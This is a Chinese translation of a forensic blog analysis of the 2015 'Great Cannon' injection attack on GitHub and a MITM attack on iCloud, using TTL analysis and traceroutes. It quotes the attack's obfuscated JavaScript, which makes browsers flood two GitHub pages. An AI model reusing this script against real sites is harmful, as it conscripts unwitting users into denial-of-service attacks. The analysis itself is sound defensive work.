對github的中間人攻擊
0x00 簡介
source: http://www.netresec.com/?page=Blog&month=2015-03&post=China%27s-Man-on-the-Side-Attack-on-GitHub
3月27號github官方釋出公告
我們正在遭受github歷史上最大的DDOS(分散式拒絕服務)攻擊，攻擊從3月26號，週四下午兩點開始，攻擊手段組合了多種攻擊方式，從一些老式的攻擊手段到新式，透過瀏覽器讓毫不相干的圍觀群眾參與到對github攻擊流量的貢獻，根據我們收到的報告推斷，我們相信攻擊的目的是讓我們刪除某些特定的內容。
我們根據對網路攻擊的觀察可以推斷出某大型組織使用一些被動和主動的網路裝置來執行資料包注入攻擊，就是中間人攻擊來啟動乾死github，可以參考文章末尾的連結TTL analysis來了解我們如何推斷這是一箇中間人攻擊。
簡單來說，中間人攻擊的流程如下：
一個不在中國無辜的使用者進入了網際網路
無辜使用者進入的網站從中國的伺服器載入了一個javascript檔案。（比如百度統計的指令碼）
瀏覽器對於百度js的請求會被某國的被動設定檢測到其請求進入中國。
返回一個偽造的響應(注入三個資料包)，而不是真正的百度統計指令碼，就是說返回的是一個惡意的js指令碼，導致使用者瀏覽器不斷請求github上兩個特殊的頁面。
不過，並非所有載入該指令碼的中國使用者都會進行攻擊，根據我們分析，大概只有1% 載入了百度分析的使用者會收到惡意js作為返回，其他都為正常行為。
我們用了一個簡單的辦法讓瀏覽器載入惡意指令碼，就是讓瀏覽器去訪問一些中國網站，載入了惡意js後，下面是我們在網路流量中觀察到的惡意行為。
工具 CapLoader
該指令碼導致我們瀏覽器不斷迴圈訪問 github (IP address 192.30.252.[128-131])
0x01 百度統計
百度統計指令碼會載入url像醬紫
http://hm.baidu.com/h.js?0deadbeef000deadbeef000deadbeef0 正常版
http://hm.baidu.com/hm.js?0deadbeef000deadbeef000deadbeef0 非同步版
正常情況下請求百度指令碼是張這個樣子的
注入後的惡意指令碼是張這個樣子的
注入後的響應每次的表現都是一樣的，注入的三個資料包是下面這個樣子的。
Injected packet #1:
#!bash
HTTP/1.1 200 OK
Server: Apache
Connection: close
Content-Type: text/javascript
Content-Length: 1130
Injected packet #2:
#!javascript
eval(function(p,a,c,k,e,r){e=function(c){return(c<a?\'\':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!\'\'.replace(/^/,String)){while(c--)r[e(c)]=k[c][/c]||e(c);k=[function(e){return r[e]}];e=function(){return\'\\\\w+\'};c=1};while(c--)if(k[c][/c])p=p.replace(new RegExp(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c][/c]);return p}(\'l.k("<5 p=\\\'r://H.B.9/8/2.0.0/8.C.t\\\'>\\\\h/5>");!J.K&&l.k("<5 p=\\\'r://L.8.9/8-T.t\\\'>\\\\h/5>");j=(6 4).c();7 g=0;3 i(){7 a=6 4;V 4.Z(a.10(),a.w(),a.x(),a.11(),a.y(),a.z())/A}d=["m://n.9/E","m://n.9/F-G"];o=d.I;3 e(){7 a=i()%o;q(d[a])}3 q(a){7 b;$.M({N:a,O:"5",P:Q,R:!0,S:3(){s=(6 4).c()},U:3(){f=(6 4).c();b=W.X(f-s);Y>f-j&&(u(b),g+=1)}})}3 u(a){v("e()",a)}v("e()",D);\',62,64,\'|||function|Date|script|new|var|jquery|com|||getTime|url_array|r_send2|responseTime|count|x3c|unixtime|startime|write|document|https|github|NUM|src|get|http|requestTime|js|r_send|setTimeout|getMonth|getDay|getMinutes|getSeconds|1E3|baidu|min|2E3|greatfire|cn|nytimes|libs|length|window|jQuery|code|ajax|url|dataType|timeou
Injected packet #3:
#!javascript
t|1E4|cache|beforeSend|latest|complete|return|Math|floor|3E5|UTC|getFullYear|getHours'.split('|'),0,{}))
惡意的js是經過混淆的，只需要一些簡單的反混淆就可以得到原始碼。
其中可以看到，兩個目標url為 github.com/greatfire和github.com/cn-nytimes 這兩個均為一個用於規避(GFW)的映象站點。
0x02 TTL Analysis
Time-To-Live (TTL) 分析是一種非常有效的手段用於進行中間人攻擊的分析，我們用這種方法在之前對於 iCloud, Yahoo, Google和GitHub的攻擊上進行分析並且取得了不錯的結果。
這次攻擊github一個有趣的地方在於，攻擊者修改資料包的IP TTL值來致使難以定位惡意資料包的注入點。我們使用Tshark來輸出Source-IP, Destination-IP, TCP-Flags和IP-TTL，請看下面箭頭記號
#!bash
tshark -r baidu-high-ttl.pcap -T fields -e ip.src -e ip.dst -e tcp.flags -e ip.ttl
192.168.70.160 61.135.185.140 0x0002 64 <- SYN (client)
61.135.185.140 192.168.70.160 0x0012 42 <- SYN+ACK (server)
192.168.70.160 61.135.185.140 0x0010 64 <- ACK (client)
192.168.70.160 61.135.185.140 0x0018 64 <- HTTP GET (client)
61.135.185.140 192.168.70.160 0x0018 227 <- Injected packet 1 (injector)
192.168.70.160 61.135.185.140 0x0010 64
61.135.185.140 192.168.70.160 0x0018 228 <- Injected packet 2 (injector)
61.135.185.140 192.168.70.160 0x0019 229 <- Injected packet 3 (injector)
192.168.70.160 61.135.185.140 0x0010 64
192.168.70.160 61.135.185.140 0x0011 64
注意伺服器返回的SYN+ACK包的ttl是42，之後三個注入包的ttl值為227, 228和229。
這是另一個PCAP檔案解析的結果，這裡的ttl值比較低
#!bash
tshark -r baidu-low-ttl.pcap -T fields -e ip.src -e ip.dst -e tcp.flags -e ip.ttl
192.168.70.160 61.135.185.140 0x0002 64 <- SYN (client)
61.135.185.140 192.168.70.160 0x0012 42 <- SYN+ACK (server)
192.168.70.160 61.135.185.140 0x0010 64 <- ACK (client)
192.168.70.160 61.135.185.140 0x0018 64 <- HTTP GET (client)
61.135.185.140 192.168.70.160 0x0018 30 <- Injected packet 1 (injector)
192.168.70.160 61.135.185.140 0x0010 64
61.135.185.140 192.168.70.160 0x0018 31 <- Injected packet 2 (injector)
61.135.185.140 192.168.70.160 0x0019 32 <- Injected packet 3 (injector)
192.168.70.160 61.135.185.140 0x0010 64
192.168.70.160 61.135.185.140 0x0011 64
伺服器的SYN+ACK包的ip ttl值保持在42，但是包含惡意payload的 TTL包保持在30 到229，就是說SYN+ACK是來自百度的伺服器，但是注入的惡意包實際上是來自其他的什麼地方。
我們之前說過，注入的三個資料包總是相同的，使用者會話之間唯一不同的地方是目標的tcp埠，進一步加強了我們認為它是中間人攻擊的假設。我們就算直接放棄注入的資料包轉為直接從伺服器進行請求也沒有用。
0x03 其他的惡意js來源
百度統計並不是唯一資料包被替換成惡意的站點，根據GreatFire.org的分析報告，他們發現的url有如下
hm.baidu.com/h.js
cbjs.baidu.com/js/o.js
dup.baidustatic.com/tpl/wh.js
dup.baidustatic.com/tpl/ac.js
dup.baidustatic.com/painter/clb/fixed7o.js
dup.baidustatic.com/painter/clb/fixed7o.js
eclick.baidu.com/fp.htm?br= ...
pos.baidu.com/acom?adn= ...
cpro.baidu.com/cpro/ui/uijs.php?tu=...
pos.baidu.com/sync_pos.htm?cproid=...
雖然都是百度的域名，不過技術上來說任何某國的站點都可以被用來進行此種型別的攻擊。
0x04 更新
4月2日
Errata Security的Robert Graham透過進行一次http-traceroute驗證了我們這次攻擊來自某國的理論。文章
4月13日
Bill Marczak, Nicholas Weaver, Jakub Dalek, Roya Ensafi, David Fifield, Sarah McKune, Arn Rey, John Scott-Railton, Ronald Deibert和Vern Paxson釋出了一份報告驗證了關於奇怪的ttl值的資訊，同時他們將這個攻擊手段稱為Great Cannon。
關於GFW TTL邊通道可以參考 paper
他們還真對GC和GFW的路徑進行了一些追蹤，
對於115.239.210.141 GFW 和GC共同在12和13之間切換，並且在 144.232.12.211和202.97.33.37存在連線，流量屬於電信，對於123.125.65.120，兩者在17和18之間切換，在219.158.101.61和219.158.101.49存在連結，屬於中國聯通。
這證實了GC位於一個asn，並且之前gfw的一次中間人攻擊也位於同樣的地方。
研究者釋出了一些PCAP檔案關於GC和GFW。
eureka.tcpdump (interesting capture file, with injected packets and packets from Baidu in the same TCP session)
0x05 iCloud中國MITM攻擊 & 假冒ssl證照
ps:下面補充翻譯 http://www.netresec.com/?page=Blog&month=2014-10&post=Chinese-MITM-Attack-on-iCloud
中國使用者報告了一起對icloud ssl連線的MITM攻擊，目的可能在於竊取使用者的隱私資訊。
在GreatFire，一家監控某國防火牆活動的網站釋出過一篇相關的分析，他們的部落格中連結到一個捕獲的資料包資料，為了驗證其是否為MITM攻擊，我們對其進行了分析，我們將PcapNG檔案載入進NetworkMiner Professional並提取了X.509 SSL證照。
提取的證照下載地址，下面是一些證照的細節。
#!bash
$ openssl x509 -inform DER -in www.icloud.com.cer -noout -issuer -subject -startdate -enddate -fingerprint
issuer= /C=cn/O=www.icloud.com/CN=www.icloud.com
subject= /C=cn/O=www.icloud.com/CN=www.icloud.com
notBefore=Oct 4 10:35:47 2014 GMT
notAfter=Oct 4 10:35:47 2015 GMT
SHA1 Fingerprint=F4:68:B5:F3:FE:D8:07:97:44:76:A2:2B:32:EA:31:37:D9:24:F7:BA
對於自簽署證照，瀏覽器和大多數iphone應用會提醒使用者連線是不安全的。這次使用的自簽署證照符合之前對 GitHub, Google, Yahoo和live.com的MITM攻擊。
0x06 MITM攻擊定位
透過NetworkMiner對於假的ssl伺服器的分析我們可以看出，其中離客戶端只經過了6個路由器hops，這表明mitm攻擊是在中國進行的。
pcap檔案中的資料包顯示其來自同樣的ip，同樣的80埠，其中經過了11次的hops(ip ttl 53)，因此我們假設只有透過443埠的流量才有可能為mitm攻擊。
之後我們分析了它的ttl，其顯示了不同的tcp traceroutes結果，其表示攻擊中用到的iCloud SSL伺服器位於不同的ip23.59.94.46:443
#!bash
My traceroute [v0.85]
siyanmao-k29 (0.0.0.0) Sat Oct 18 19:26:07 2014
Host Loss% Snt Last Avg Best Wrst StDev
1. 192.168.1.1 0.0% 17 0.6 0.7 0.6 0.8 0.0
2. ------------- 0.0% 16 2.8 2.6 1.7 3.3 0.3
3. ------------- 0.0% 16 2.0 2.2 1.4 4.0 0.4
4. ???
5. 119.145.47.78 0.0% 16 6.4 7.7 4.3 27.0 5.2
183.56.65.54
183.56.65.50
119.145.47.74
121.34.242.250
121.34.242.138
6. 23.59.94.46 25.0% 16 168.5 171.4 166.8 201.3 9.4
這次結果顯示攻擊出現在中國電信 AS4134
#!bash
[email protected] ~
%tcptraceroute 23.59.94.46 443
Selected device en0, address 192.168.100.16, port 52406 for outgoing packets
Tracing the path to 23.59.94.46 on TCP port 443 (https), 30 hops max
1 192.168.100.254 1.737 ms 0.793 ms 0.798 ms
2 111.192.144.1 2.893 ms 2.967 ms 2.422 ms
3 61.51.246.25 2.913 ms 2.893 ms 3.968 ms
4 124.65.61.157 4.824 ms 2.658 ms 3.902 ms
5 202.96.12.9 3.626 ms 6.532 ms 3.794 ms
6 219.158.96.54 27.539 ms 26.821 ms 27.661 ms
7 a23-59-94-46.deploy.static.akamaitechnologies.com (23.59.94.46) [open] 30.064 ms 29.899 ms 30.126 ms
當然聯通也別想跑
Tcproute顯示CHINANET骨幹網路似乎是主要用於進行攻擊的地方。
TCP traceroutes的結果顯示，雖然mitm攻擊位於幾個不同的位置不過集中在中國的網際網路基礎設施上，具體點說，進行mitm攻擊的骨幹網路屬於電信和聯通。
相關文章
- 中間人攻擊
- 什麼是中間人攻擊?如何抵禦中間人攻擊?
- 什麼是重放攻擊與中間人攻擊？
- 基於WPAD的中間人攻擊
- 中間人攻擊 -- Cookie噴發Cookie
- 最好用的中間人攻擊工具mitmproxyMIT
- 哈薩克對所有 HTTPS 流量發動中間人攻擊HTTP
- 關於iOS HTTPS中間人攻擊iOSHTTP
- 中間人攻擊原理與實踐
- ARP欺騙與中間人攻擊
- 漫畫：什麼是中間人攻擊
- 中間人攻擊利用框架bettercap測試框架
- 中間人攻擊（爬蟲工具） mitmproxy 使用指南爬蟲MIT
- iOS環境下的中間人攻擊風險淺析iOS
- 【網路安全】什麼是中間人攻擊?危害有哪些？
- TLS是如何保障資料傳輸安全(中間人攻擊)TLS
- 5分鐘帶你瞭解網路安全中間人攻擊!
- 你連 HTTPS 原理都不懂？就別講“中間人攻擊”！HTTP
- 利用nodejs搭建 https 代理伺服器並實現中間人攻擊NodeJSHTTP伺服器
- 人們首次成功對 GPU 發起旁路攻擊GPU
- SSL/TLS協議安全系列- SSL中間人攻擊防範方案概述TLS協議
- 通過區域網中間人攻擊學網路第四篇
- 對抗攻擊(一) FGSM
- Syn Flood攻擊的危害是什麼?Syn Flood攻擊如何應對?
- FireEye遭APT攻擊？！針對企業的APT攻擊是如何發生的？APT
- 研究人員演示對硬碟和作業系統的聲音攻擊硬碟作業系統
- Android 中的特殊攻擊面Android
- 再次捕獲！重保期間攔截針對Coremail的釣魚攻擊REMAI
- Zscaler：針對IoT裝置的攻擊在兩年間增長了700%
- Android 中的特殊攻擊面（一）——邪惡的對話方塊Android
- CC攻擊的原理和應對的策略
- 對抗攻擊方法一覽
- 釣魚攻擊時間軸，你知道常見的釣魚攻擊有哪些嗎
- 【日常篇】DOS攻擊和DDOS攻擊之間有什麼區別？
- DDoS攻擊、CC攻擊的攻擊方式和防禦方法
- 研究人員報告新的針對工業基礎設施的攻擊
- 網路攻擊中主動攻擊和被動攻擊有什麼區別？
- 針對自動駕駛中交通燈識別的對抗性鐳射攻擊自動駕駛